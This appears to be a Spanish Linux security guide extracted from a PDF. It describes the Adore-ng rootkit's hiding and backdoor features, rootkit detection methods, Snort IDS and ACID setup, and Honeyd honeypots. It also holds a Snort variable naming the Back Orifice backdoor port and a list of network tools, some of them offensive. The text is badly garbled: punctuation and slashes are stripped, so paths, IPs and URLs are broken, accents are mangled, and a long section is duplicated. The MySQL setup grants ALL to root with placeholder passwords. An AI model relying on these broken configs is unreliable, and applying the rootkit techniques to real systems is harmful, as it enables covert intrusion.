Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 30: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

